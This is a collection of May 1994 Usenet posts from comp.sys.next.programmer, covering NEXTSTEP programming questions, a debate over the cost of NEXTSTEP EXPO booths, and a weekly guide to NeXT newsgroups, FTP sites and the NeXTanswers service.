From: pcu@umich.edu Newsgroups: comp.sys.next.programmer Subject: Re: NeXT C compiler missing--where can I find it? Date: 9 May 1994 18:08:00 GMT Organization: University of Michigan Distribution: usa Message-ID: <2qlu60$skb@lastactionhero.rs.itd.umich.edu> References: <DONHAM-JAKE.94May9063024@rhino.CS.Yale.Edu> In article <DONHAM-JAKE.94May9063024@rhino.CS.Yale.Edu> donham-jake@CS.Yale.Edu (Jake Donham) writes: > A friend of mine bought a used NeXT cube that doesn't have the > compiler installed. I was under the impression that this is something > that was supposed to come with the system. Is it legal for me to ftp > it from somewhere/someone, and if so where can I do so? If it is NS 3.0 or less (? or maybe it started at 3.0) the system has a license for all the development libraries. I would recommend borrowing a CD from someone and installing it. After 3.0 (? or starting) the developer and user versions are different. You can always ftp the GNU C compiler. -- Peter Urka <pcu@umich.edu> Dept. of Chemistry, Univ. of Michigan Anything to me is sweeter, Than to see Shock-headed Peter. - H. Hoffmann
From: blake015@mc.duke.edu(Denise Blakeley) Newsgroups: comp.sys.next.programmer Subject: Re: Communication between a NeXT and a PC? Date: 9 May 1994 18:52:43 GMT Organization: Duke University; Durham, N.C., USA Message-ID: <2qm0pr$cla@news.duke.edu> References: <2qlt18$sfk@lastactionhero.rs.itd.umich.edu> pcu@umich.edu writes > In article <2qe332$13u@news.duke.edu> blake015@mc.duke.edu(Denise > Why not? > Place NS on the PC. You > a) already have the C++ code engine (just recompile) > (modifying the includes etc. will no doubt be simpler than > adding an API - it's just a question of *which* work you > want to do, not how *much* work) > b) will be able to place a NS interface on the C++ > c) will keep the code on the PC. I'll tell you why not: It's not a NeXSTEP-compatible PC! :-( If it was, I'd have suggested this to them already and not needed to post. Denise -- Denise Blakeley | PROGRAM, tr. v., An activity similar Duke Med Center Info Systems | to banging one's head against a wall, Durham, NC | but with fewer opportunities for (919) 286-6468 W | reward. blake015@mc.duke.edu | NeXTMail welcome!
From: blake015@mc.duke.edu(Denise Blakeley) Newsgroups: comp.sys.next.programmer Subject: Re: Communication between a NeXT and a PC? Date: 9 May 1994 18:53:32 GMT Organization: Duke University; Durham, N.C., USA Distribution: world Message-ID: <2qm0rc$cp8@news.duke.edu> References: <2qlt18$sfk@lastactionhero.rs.itd.umich.edu> pcu@umich.edu writes > Why not? > Place NS on the PC. You > a) already have the C++ code engine (just recompile) > (modifying the includes etc. will no doubt be simpler than > adding an API - it's just a question of *which* work you > want to do, not how *much* work) > b) will be able to place a NS interface on the C++ > c) will keep the code on the PC. I'll tell you why not: It's not a NeXSTEP-compatible PC! :-( If it was, I'd have suggested this to them already and not needed to post. Denise -- Denise Blakeley | PROGRAM, tr. v., An activity similar Duke Med Center Info Systems | to banging one's head against a wall, Durham, NC | but with fewer opportunities for (919) 286-6468 W | reward. blake015@mc.duke.edu | NeXTMail welcome!
From: gbrown@raven.ctr.columbia.edu (Glenn Brown) Newsgroups: comp.sys.next.programmer Subject: Re: Counting lines of code [a 1-liner] Date: 9 May 1994 19:05:18 GMT Organization: Columbia University Center for Telecommunications Research Distribution: usa Message-ID: <2qm1he$p3@sol.ctr.columbia.edu> References: <1994May9.142112.4652@fnbc.com> > In article <CpEGIq.Awu@mrk.com> jerald@mrk.com (Jerald Dawson) writes: > > I want to count the lines of code that make up an app we just > > ported from windows so we can compare the two. Drew Davidson writes > Here's the script that I use. [Much code deleted] Ick! Just use find sourcedir -name \*.\[hcm\] -exec cat {} \; | wc where sourcedir is the root directory of your source tree, and this command will count the lines in all files named *.[hcm] in that directory or its subdirectories. --Glenn
From: rep@hrz.tu-chemnitz.de (Ralph Eppert) Newsgroups: comp.sys.next.programmer Subject: Passing arg's with setTarget, setAction ??? Date: 9 May 94 19:04:18 GMT Organization: University of Technology Chemnitz, FRG Message-ID: <rep.768510258@happy> Hello, this question may be little bit simple, but is it possible to pass arguments to an action, say one which is "attached" to button via setAction, and how is that done? From RTFM there seems to be nothing like this, but probably I missed something ?? Please send your answer to rep@informatik.tu-chemnitz.de . Thanks in advance. Ralph. --- Ralph Eppert rep@informatik.tu-chemnitz.de "Alles wird besser, ... nichts wird gut."
From: dnelson@scrinext.scri.fsu.edu (Dru Nelson) Newsgroups: comp.sys.next.programmer Subject: Frustrating tty control problem/ioctl & example code Date: 9 May 1994 20:05:54 GMT Organization: Florida State University Message-ID: <2qm532$rnm@mailer.fsu.edu> Hello, I have a simple problem. When I 'stty pass8out', I can cat or run a program that will push nice 8 bit data out the stdout. On an ansi terminal, the IBM character set can be seen (an easy test for 8 bits coming through). However, when I set pass8out by doing an ioctl, the output goes and then stalls. It then trickles out and it doesn't output the character with the 8'th bit set. Again, this is assuming that pass8out wasn't set before running. What is stty doing that I am not?? I have tried using unix io, stdio, different line disciplines, so now I will try the net for answers. Following is the code I used. Note: I won't turn on RAW. I need the flow control and output buffering. I just need 8 bit data coming out, too. Any help greatly appreciated, Dru Here's the code... #include <sys/file.h> #include <sys/ioctl.h> #include <sys/errno.h> #include <stddef.h> #include <sgtty.h> #include <stdio.h> int ioc(int d,unsigned long some, int * arg); main () { int i, fd, prevstate; unsigned char block[3] = "x\n"; fd = fileno(stdout); /* Get current state */ ioc(fd, TIOCLGET, &prevstate); printf("get out flags = %o\n", prevstate); /* Set the state to pass8out mode */ arg2 = LPASS8OUT; ioc(fd, TIOCLBIS, &arg2); for (i = 192; i < 255; i++) { block[0] = (unsigned char)i; write(fd, block, 2); // printf(" Dec = %3d Hex = %2x Char = %c\n", i, i, i); } /* Set the state to previous mode */ ioc(fd, TIOCLSET, &prevstate); } int ioc(int d,unsigned long some, int * arg) { int x; x = ioctl(d, some, arg); if (x == -1) { printf("IOCTL ERROR = %d\r\n", errno); } }
Newsgroups: comp.sys.next.programmer From: paul@seer.demon.co.uk (Paul Lynch) Subject: Re: using $1 to select entry from 'set' lines Message-ID: <1994May9.194802.919@seer.demon.co.uk> Sender: news@seer.demon.co.uk Organization: P & L Systems References: <9405090727.AA20909@alleg.EDU> Date: Mon, 9 May 1994 19:48:02 GMT In article <9405090727.AA20909@alleg.EDU> luomat@alleg.EDU (Timothy J. Luoma) writes: > I am working on what should be a simple #!/bin/csh -f script, and > have run into a problem which has been unanswerable as far as I have > been able to find. > > What I want to do sounds simple: > > write a little script (called 'flab' for 'finger lab'), asking the > user to select the name of a computer lab on campus in this form: > > % flab <nameoflab> > > all of the NeXTs in that lab are listed in 'set' lines in 'flab' in > this form: > > set Name = (hostname1 hostname2 .... hostnameX) > set OtherName = (Otherhostname1 Otherhostname2 .... OtherhostnameX) > > Then I was trying to implement a simple 'foreach' loop that would > finger each of the hostnames in the lab the user had selected. > > > foreach i ($1) > finger @$i > end > > but of course, that doesn't work because it tries to finger the input > itself (just the lab name, not the hostnames from the 'set' line > which corresponds to the lab name) gfinger more or less does this. If you are interested in this much, you might find the rest of it useful. Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 9 Stable Lane, Seer Green, Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.programmer From: paul@seer.demon.co.uk (Paul Lynch) Subject: Re: Together we stand, divided we fall. Message-ID: <1994May9.195106.980@seer.demon.co.uk> Sender: news@seer.demon.co.uk Organization: P & L Systems References: <CpIEqo.E38@benatong.com> Date: Mon, 9 May 1994 19:51:06 GMT In article <CpIEqo.E38@benatong.com> chuck@benatong.com (Charles G. Bennett) writes: > In article <CpCtw4.41r@cobra.cs.unm.edu> ctm@ardi.com (Clifford T. Matthews) > > Please do not post prices in these newsgroups. Prices are evil. > > Considering the monummental breach of netiquette I recommend a boycott > > of this endeavor. > Chill out Cliff, whats wrong with a developer trying to boost the NeXT > community by helping small developers go in on a booth. It's not like Nathan > works for DCI and is selling booth space, or stands to profit in any way from > this kind of endevor. Most likely all he would gain is a bunch more work > trying to round up the people and get their money.. It read to me like a slightly tired, but still humourous, post from Cliff, given Nathan's track record of attacking price posts, even when they seem to others to be acceptable. He should, of course, have posted to c.s.n.announce. Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 9 Stable Lane, Seer Green, Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.programmer From: stef@ziomm.fdn.org (Stephan Mertz) Subject: Setting NeXTstation switching on with programm Message-ID: <1994May9.085204.734@ziomm.fdn.org> Sender: stef@ziomm.fdn.org Date: Mon, 9 May 1994 08:52:04 GMT Does someone know how to set the date and the hour of the NeXTstation automatic switching on (probably by setting the PROM)? Thanks, -- Stephan Mertz Tel/fax: [33] 88 44 47 25 NEXTSTEP Developer e-Mail: stef@ziomm.fdn.org 55, rue de Mulhouse (small NeXTmail accepted) 67100 Strasbourg FRANCE
From: Roland Telfeyan <telfeyan@eecs.umich.edu> Newsgroups: comp.sys.next.programmer Subject: Re: Setting NeXTstation switching on with programm Date: 9 May 1994 21:41:50 GMT Organization: University of Michigan EECS Dept. Distribution: world Message-ID: <2qmamu$t7s@zip.eecs.umich.edu> References: <1994May9.085204.734@ziomm.fdn.org> > Does someone know how to set the date and the hour of the NeXTstation > automatic switching on (probably by setting the PROM)? If you've got the right system board version, just click on the power switch icon in the Preferences app. Roland --------------------------------------------------------------------- Roland Telfeyan Display Technology & Manufacturing telfeyan@eecs.umich.edu University of Michigan EECS Department ---------------------------------------------------------------------
From: beneke@asterix.uni-muenster.de (Wolfgang Beneke) Newsgroups: comp.sys.next.programmer Subject: Multi Scrolling Kills Performance Date: 9 May 1994 21:13:54 GMT Organization: Westfaelische Wilhelms-Universitaet Muenster, Germany Message-ID: <2qm92i$1c7g@obelix.uni-muenster.de> I have a performance problem by scrolling two ScrollViews with on Slider. One ScrollView gets a Slider and the other is scrolled by the first Scroll- View. I use the method [aScrollView scroll:to:] to get the scroll events from the first ScrollView-Object. Then i send a [aClipView scrollRectToVisible:] message to the second ScrollView in order to alter the position of the ClipView. The first ScrollView gets finally the message [anotherClipView rawScroll:]. Here's the source code for a better understanding: - scrollClip:(id) aClipView to:(const NXPoint *)newOrigin { int i; NXRect myRect, hisRect; NXRect *convertedRect; for (i = 0; i < [viewsToScroll count]; i++) if ([self horizScroller]) { [[viewsToScroll objectAt:i] getBounds:&hisRect]; hisRect.origin.x = newOrigin->x; [[viewsToScroll objectAt:i] scrollRectToVisible:&hisRect]; [aClipView rawScroll:newOrigin]; } return self; } That works fine! But in contrast to the "normal" way of scrolling one ScrollView with on Slider, the performance of the application with two ScrollView and one Slider is dramatically reduced. Every Scroll-Action needs a lot of time!! Has anyone an idea, how to solve this problem?! Please send your opinion ---------------------------------------------------- Wolfgang Beneke They called him WoBe... e-mail: beneke@uni-muenster.de ---------------------------------------------------
From: bakker@cyclon.aoml.erl.gov (Cary Bakker) Newsgroups: comp.sys.next.programmer Subject: Max size of an NXImage? Date: 9 May 1994 22:10:02 GMT Organization: U.S. Department of Commerce, NOAA/AOML Message-ID: <2qmcbq$poq@wave.aoml.erl.gov> I looked everywhere I could find, but couldn't find out what the max size of an NXImage is. I have a problem when I try to create an Image too big, and I could figure out a rough limit for myself from experience, but I would like to know what the exact max size of an NXImage really is. Thanks Cary -- ------------------------------------------------------------------------- Cary A. Bakker | Music is the pleasure the human soul C.S. Major | experiences from counting without FLorida International University | being aware that it is counting... NeXT Programmer | NOAA/AOML | -- Gottfried W. Leibniz
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: Together we stand, divided we fall. Message-ID: <1994May9.230604.12078@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <CpIEqo.E38@benatong.com> <1994May9.195106.980@seer.demon.co.uk> Date: Mon, 9 May 1994 23:06:04 GMT In article <1994May9.195106.980@seer.demon.co.uk> paul@seer.demon.co.uk writes: >>In article <CpIEqo.E38@benatong.com> chuck@benatong.com (Charles G. >>Bennett) writes: >>> In article <CpCtw4.41r@cobra.cs.unm.edu> ctm@ardi.com (Clifford T. >>Matthews) >>> > Please do not post prices in these newsgroups. Prices are evil. >>> > Considering the monummental breach of netiquette I recommend a boycott >>> > of this endeavor. >> >>> Chill out Cliff, whats wrong with a developer trying to boost the NeXT >>> community by helping small developers go in on a booth. It's not like >>Nathan >>> works for DCI and is selling booth space, or stands to profit in any way >>from >>> this kind of endevor. Most likely all he would gain is a bunch more >>work >>> trying to round up the people and get their money.. >> >>It read to me like a slightly tired, but still humourous, post from Cliff, >>given Nathan's track record of attacking price posts, even when they seem >>to others to be acceptable. He should, of course, have posted to >>c.s.n.announce. >> That's certainly how I read it. -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: Creating an Alarm clock with signals Date: Mon, 9 May 1994 19:53:23 -0400 Organization: Carnegie Mellon, Pittsburgh, PA Message-ID: <chngnne00iUvE=fwEb@andrew.cmu.edu> In-Reply-To: <CpJMsx.FwC@eunet.ch> Excerpts from netnews.comp.sys.next.programmer: 9-May-94 Creating an Alarm clock wit.. by Alexander Lamb: > Could someone point me to the right place for an example of programming an > alarm clock using the unix signals in Objective-C (I don't want to use the > display server, and I need precise, on the dot timing such as sending a > message every minute or every hour or once a day)... I would also be very > pleased with a reference to some books or documentation... Search for DPSAddTimedEntry() in Digital Librarian. Also, cron might possibly do what you are looking for. -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
From: thomsen@spf.trw.com (Mark Thomsen) Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy Subject: Re: Together we stand, divided we fall. Date: 10 May 1994 02:54:58 GMT Organization: TRW Systems Development Division Distribution: world Message-ID: <2qmt22$mb8@deneva.sdd.trw.com> References: <1994May5.052804.7999@cs.yale.edu> Nathan F. Janette writes > Together we stand, divided we fall. > > I've learned that many smaller NEXTSTEP ISVs in my area aren't planning > to attend NEXTSTEP EXPO as exhibitors due to the high cost of booth > rental space. I cannot stand the thought of these vendors and their > elegant NEXTSTEP apps being shut out of the premier event of the year for > our community. We decided to not go with a booth. The purchase price (all in) is somewhat high relative to small, new products. Further, the market does not really justify (to us) the investment - in the booth, in the 1-2 people constantly manning it, and in the preparation effort required to do a quality job of it. It was purely an economic decision. The half/thind/quarter price mentioned in the posting corresponds to partial booths and clearance of space on the floor .. having investigated the prices, these are in line with what I was encountering from DCI. The alternative (we selected) is to provide brochures, to distribute demo copies, invite beta testers, contact potential buyers directly, and to try to spread the information into the actual channels. Finally, many of us might have products, but most of us make our living as consultants and developers. I may have been to the wrong events, but I have not been interested in what people can convey in booths about their abilities to support new, custom projects. I fear that the dominance of this EXPO will be NeXT, other hardware and systems companies, the large system integrators, some of the large sites, the more successful and established ISVs, and a few of the smaller guys. That is probably not bad. Is it? Mark R. Thomsen Gemstone Systems, Inc.
Newsgroups: comp.sys.next.programmer From: nathan@laplace.csb.yale.edu (Nathan F. Janette) Subject: Re: Together we stand, divided we fall. Message-ID: <1994May10.031426.25333@cs.yale.edu> Sender: news@cs.yale.edu (Usenet News) Organization: Yale University, Department of Computer Science, New Haven, CT References: <1994May9.195106.980@seer.demon.co.uk> Date: Tue, 10 May 1994 03:14:26 GMT In article <1994May9.195106.980@seer.demon.co.uk> paul@seer.demon.co.uk (Paul Lynch) writes: > It read to me like a slightly tired, but still humourous, post from Cliff, > given Nathan's track record of attacking price posts, even when they seem > to others to be acceptable. He should, of course, have posted to > c.s.n.announce. Everyone is entitled to their opinion. If you thought that was humor, I think that's funny ;-) I don't think I should have posted to the announce group to reach ISVs, I think I should have posted where the ISVs live: the programmer group, and that's just what I did. I also posted to the advocacy group because it seemed like rather pure advocacy at that! For the second time I will state there is no profit motive involved in this coalition. The considerable amount of time I've spent arranging this project has been totally uncompensated. The thanks I've received from member vendors has been most gratifying, however. I'm about to close the coalition, and the replies are still coming in asking to join... -- Nathan "USENET" Janette Systems Manager, Brunger Lab, Dept MB&B, Yale Univ/HHMI, New Haven, CT PPP link from hilbert.csb.yale.edu Please reply to: nathan@laplace.csb.yale.edu (NeXT)
Newsgroups: comp.sys.next.programmer From: petergun%kgnome.uucp@vectrex.login.qc.ca (Stephane I. Matis) Subject: TCL tests on math Message-ID: <CpJyGB.2Cp@kgnome.uucp> Sender: usenet@kgnome.uucp Organization: 3DT "Skunk Works" Date: Mon, 9 May 1994 20:33:46 GMT Well, I just compiled TCL 7.3, and like Smalltalk, the test suite buggers-up on the precision... Is there any way to fix this ? I don't wanna sound like a crybaby, but I can't believe that the compiler had to be so different ... I mean I'd like to write standard code. If anybody has a trick to solve this ... please post. Thanks, -- petergun " Survival, Mechanics, R-name : Stephane I. Matis Identity " E-mail : petergun@vectrex.login.qc.ca - Heavy Gear
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 10 May 1994 02:36:35 -0400 Organization: Next Announcements Message-ID: <2qna1j$i84@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: Stepwise NEXTSTEP/OpenStep Information Server comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers New Information --------------- Stepwise NEXTSTEP/OpenStep Information Server A product directory built around the World Wide Web system, this will allow full multimedia announcements by NEXTSTEP developers, as well as the ability to browse the available products for NEXTSTEP. This service is online now, and can be reached at http://digifix.digifix.com/ it can be reached using OmniWeb (available from ftp.omnigroup.com) or Mosaic. The entries are coming in quite quickly, and I'll be moving the entire NEXTSTEP Third Party Catalog contents in as soon as they become available. Additionally the NEXTSTEP Product Information Mail Server will be stocked full file files in the next week... you can get information on using the mail server at ns-products@digifix.com Suggestions or comments can be directed to me at sanguish@digifix.com comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: TCL tests on math Date: 10 May 1994 07:13:56 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94May10081356@steffi.demon.co.uk> References: <CpJyGB.2Cp@kgnome.uucp> To: petergun%kgnome.uucp@vectrex.login.qc.ca (Stephane I. Matis) In-reply-to: petergun%kgnome.uucp@vectrex.login.qc.ca's message of Mon, 9 May 1994 20:33:46 GMT <petergun%kgnome.uucp@vectrex.login.qc.ca> writes: >Well, I just compiled TCL 7.3, and like Smalltalk, the test suite >buggers-up on the precision... Is there any way to fix this ? I don't >wanna sound like a crybaby, but I can't believe that the compiler had >to be so different ... I mean I'd like to write standard code. If >anybody has a trick to solve this ... please post. >Thanks, >-- >petergun " Survival, > Mechanics, >R-name : Stephane I. Matis Identity " >E-mail : petergun@vectrex.login.qc.ca - Heavy Gear Would people please read the TCL FAQ when/before building TCL. -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: jaime@afs.com (Jaime Guerrero) Subject: Re: Finding size of a memory object Message-ID: <1994May9.145838.4389@afs.com> Sender: jaime@afs.com References: <1994May5.173832.916@its.com> Date: Mon, 9 May 1994 14:58:38 GMT In article <1994May5.173832.916@its.com> marcos@its.com (Marcos J. Polanco) writes: > (The basic question is, how do you find the size of a memory obje > ct which has been malloc'ed?) the function malloc_size() will return the size of a malloc'd block. If you are sure that your object's storage is allocated using malloc (the default) rather than through some specialized scheme of its class, then malloc_size() will return the size of the entire object, including the isa pointer. You should probably define a method -(size_t)instanceSize which in your base class returns malloc_size(self) but can be overridden in subclasses with specialized allocation schemes. > I am attempting to implement a method transpose:(id)myKin which > would allow the receiver to take over all the instance variables > of myKin, another object of the same class as the receiver. I figure > that using memcpy() is a reasonable approach, as in: > > memcpy(self, myKin, [[self class] instanceSize]); Make sure this mechanism is easily overridden by subclasses, because some classes manage instance information not through ivars but in data structures managed by the class, so must be able to fixup such data structures when ownership moves. The whole idea sound suspect; an object's contents and how it chooses to represent that contents ought to be opaque to the outside world. If another object needs the same contents, it should *copy* the *value* of the *contents*, not try to "take over" the *representations* of the contents. There is a strong temptation in Obj-C to do such things because objects are always manipulated as pointers, but this can get hairy, particularly when adjusting pointers so that the new owner is now responsible for freeing the subcomponent objects in its free method and the old owner must now not. -- Jaime Guerrero "Wake Up, I'm Horny" Anderson Financial Systems Inc. (album by Big Daddy Graham) Philadelphia, Pennsylvania, USA jaime@afs.com [NeXTmail ok]
Newsgroups: comp.sys.next.programmer From: jaime@afs.com (Jaime Guerrero) Subject: Re: How do you send messages w/ multiple arguments at run-time? Message-ID: <1994May9.152248.4446@afs.com> Sender: jaime@afs.com References: <1994May04.193727.9492@cs.ucla.edu> Date: Mon, 9 May 1994 15:22:48 GMT In article <1994May04.193727.9492@cs.ucla.edu> esky@marathon.cs.ucla.edu (Eskandar Ensafi) writes: > - forward:: (USING -performv:: WITHIN) Note that a fundamental problem with the forward::/performv:: system is it can only be used for methods returning an id (and with casting, those returning types that are the same size as an id, such as ints (on Moto and Intel architectures)). This makes the forward::/performv:: system useless to relay methods that return doubles, for example, so it is not a general solution to forwarding messages. -- Jaime Guerrero "Wake Up, I'm Horny" Anderson Financial Systems Inc. (album by Big Daddy Graham) Philadelphia, Pennsylvania, USA jaime@afs.com [NeXTmail ok]
Newsgroups: comp.sys.next.programmer From: c92kl@comlab.ox.ac.uk (Kenneth Lomax) Subject: NEXT ftp sites please ? Message-ID: <1994May10.090148.7074@client41.comlab.ox.ac.uk> Originator: c92kl@client41.comlab Sender: c92kl@comlab.ox.ac.uk (Kenneth Lomax) Organization: Oxford University Computing Laboratory, UK Date: Tue, 10 May 1994 09:01:48 GMT Could anyone please e-mail me the ftp addresses of any NEXT sites? Particularly those with graphic and audio programs. Many thanks.
Newsgroups: comp.sys.next.programmer From: c92kl@comlab.ox.ac.uk (Kenneth Lomax) Subject: NEXT ftp sites please? Message-ID: <1994May10.090234.7166@client41.comlab.ox.ac.uk> Originator: c92kl@client41.comlab Sender: c92kl@comlab.ox.ac.uk (Kenneth Lomax) Organization: Oxford University Computing Laboratory, UK Distribution: eunet Date: Tue, 10 May 1994 09:02:34 GMT Could anyone please e-mail me the ftp addresses of any NEXT sites? Particularly those with graphic and audio programs. Many thanks.
From: hubert@arles.univ-rennes1.fr (Hubert Philippe) Newsgroups: comp.sys.next.programmer Subject: HELP: NEXT EPS <-> MAC EPS Date: 10 May 1994 12:51:29 GMT Organization: Universite de Rennes 1, France Message-ID: <2qo00h$5cg@news.univ-rennes1.fr> Does anyone know how to import a NeXT Postscript file ( .EPS or .PS ) in an Apple Mac Application like Word or PowerPoint. Thank you in advance. +-------------------------------------------------------------------+ [ ..NEXTSTEP is probably the most respected piece of Software ] [ of the planet.. ] [ BYTE MAGAZINE ] +-------------------------------------------------------------------+ [ HUBERT Philippe - Software Engineer ] [ e-mail : hubert@arles.univ-rennes1.fr - NeXTMail - ] +-------------------------------------------------------------------+
From: slxn8@cc.usu.edu Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy Subject: Where to get PDO information? Message-ID: <1994May10.082820.18651@cc.usu.edu> Date: 10 May 94 08:28:20 MDT Organization: Utah State University Where can I get some info on PDO? I am looking for a list of what systems it will run on, and also some general pricing information. My local Nextstep reseller said, "PD What?" Any help with who I need to talk to would be appreciated. ====================================================================== John Zollinger (NextMail Preferred) Programmer/Analyst ati06!obsidian!johnz@attati.attmail.com [Moore BCS - Logan, Utah] "Life is too important to take seriously." ======================================================================
